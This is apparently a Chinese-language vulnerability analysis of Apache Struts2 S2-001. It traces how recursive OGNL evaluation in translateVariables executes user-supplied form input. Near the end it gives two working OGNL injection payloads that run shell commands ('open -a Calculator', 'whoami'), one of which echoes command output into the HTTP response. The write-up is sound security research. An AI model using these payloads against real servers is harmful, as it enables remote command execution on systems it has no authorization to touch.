Struts2漏洞调试分析

S2-001

漏洞概要

影响版本:Struts 2.0.0 - Struts 2.0.8

漏洞环境

Jdk8u301、Struts 2.0.8、Tomcat 8.5.84

漏洞分析

Struts 2 框架的数据处理流程图:

1671191739643.png

我们可以看到Struts2在接收到HTTP请求的时候,会经过一系列拦截器(Interceptor),这些拦截器可以是Struts2自带的,也可以是用户自定义的,这取决于struts.xml配置文件,而如下配置就继承了struts-default,使用了Struts2自带的拦截器。

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
    <package name="S2-001" extends="struts-default">
        <action name="login" class="com.demo.action.LoginAction">
            <result name="success">welcome.jsp</result>
            <result name="error">index.jsp</result>
        </action>
    </package>
</struts>

我们可以来查看一下自带的拦截器栈defaultStack

1671192187582.png

我们需要重点关注其中的params拦截器

1671192338501.png

这个拦截器会从客户端获取到请求的参数,并且调用setParameters()方法

1671192608320.png

然后该方法调用stack.setValue()方法,继续跟进

1671192939152.png

最后调用OgnlUtil.setValue()方法,将参数写入到 action 中,并存入上下文中

1671193044711.png

最后return invocation.invoke();进入下一个拦截器,执行经过了这一系列拦截器之后,会走到DefaultActionInvocation.java:253

1671194252834.png

继续跟进,走到DefaultActionInvocation.java:348,这里调用了Result实现类的execute方法,也就是我们的业务逻辑LoginAction.execute()

1671194605922.png

进入到业务逻辑Action当中,程序会根据 Action 处理的结果,选择对应的 JSP 视图进行展示,并对视图中的 Struts2 标签进行处理。如下图,在本例中 Action 处理用户登录失败时会返回 error,于是会返回index.jsp,若登陆成功则跳转到welcome.jsp

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}
1671193672055.png

在JSP中如果使用了Struts2标签 <s:textfield />时,则会调用先org.apache.struts2.views.jsp.ComponentTagSupport 中的 doStartTag() ,然后调用 doEndTag() 方法:

  • doStartTag():获取一些组件信息和属性赋值,做一些初始化的工作
  • doEndTag():在标签解析结束后需要做的事,如调用组件的 end() 方法

而这个漏洞的触发点,就从 doEndTag() 开始,这个方法调用组件 org.apache.struts2.components.UIBeanend() 方法

1671194962602.png

随后调用 evaluateParams() 方法,这个方法判断了altSyntax是否开启,并调用 findValue() 方法寻找参数值:

1671186318268.png

跟进findValue()方法,这里调用了translateVariables()方法

protected Object findValue(String expr, Class toType) {
    if (this.altSyntax() && toType == String.class) {
        return TextParseUtil.translateVariables('%', expr, this.stack);
    } else {
        if (this.altSyntax() && expr.startsWith("%{") && expr.endsWith("}")) {
            expr = expr.substring(2, expr.length() - 1);
        }

        return this.getStack().findValue(expr, toType);
    }
}

跟进translateVariables()方法,发现他又调用了重载方法

1671195246565.png

继续跟进

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
    Object result = expression;
    while (true) {
        int start = expression.indexOf(open + "{");
        int length = expression.length();
        int x = start + 2;
        int end;
        char c;
        int count = 1;
        while (start != -1 && x < length && count != 0) {
            c = expression.charAt(x++);
            if (c == '{') {
                count++;
            } else if (c == '}') {
                count--;
            }
        }
        end = x - 1;
        if ((start != -1) && (end != -1) && (count == 0)) {
            String var = expression.substring(start + 2, end);
            Object o = stack.findValue(var, asType);
            if (evaluator != null) {
               o = evaluator.evaluate(o);
            }
            String left = expression.substring(0, start);
            String right = expression.substring(end + 1);
            if (o != null) {
                if (TextUtils.stringSet(left)) {
                    result = left + o;
                } else {
                    result = o;
                }
                if (TextUtils.stringSet(right)) {
                    result = result + right;
                }
                expression = left + o + right;
            } else {
                result = left + right;
                expression = left + right;
            }
        } else {
            break;
        }
    }
    return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}

然后在这里又调用了findValue()

1671195791605.png

然后调用OgnlUyil.getValue()进行了Ognl表达式解析

1671195856130.png

那么如何触发漏洞呢?答案就在我们传入translateVariables()方法的表达式 expression%{username} ,经过 Ognl表达式解析,程序会获得其值为%{1+1} ,这个值是之前params拦截器的时候获取到的。由于此处使用的是while循环来解析Ognl,所以获得的 %{1+1}又会被再次执行,最终也就造成了任意代码执行。

1671197572046.png
1671253676667.png

payload

%{(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash","-c","open -a Calculator"})).start()}
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash","-c","whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

总结

漏洞造成原因在于:

  • Struts 2 框架中的一个标签处理功能: altSyntax。在开启时,支持对标签中的 OGNL 表达式进行解析并执行。
  • translateVariables()中,递归解析了表达式,在处理完%{username}后将username的值直接取出并继续在while循环中解析,若用户输入的username是恶意的ognl表达式,比如%{1+1},则得以解析执行。

参考

https://chybeta.github.io/2018/02/06/%E3%80%90struts2-%E5%91%BD%E4%BB%A4-%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E7%B3%BB%E5%88%97%E3%80%91S2-001/

https://mochazz.github.io/2020/06/16/Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BStruts2-001/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/s2-001%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/Struts2-001.md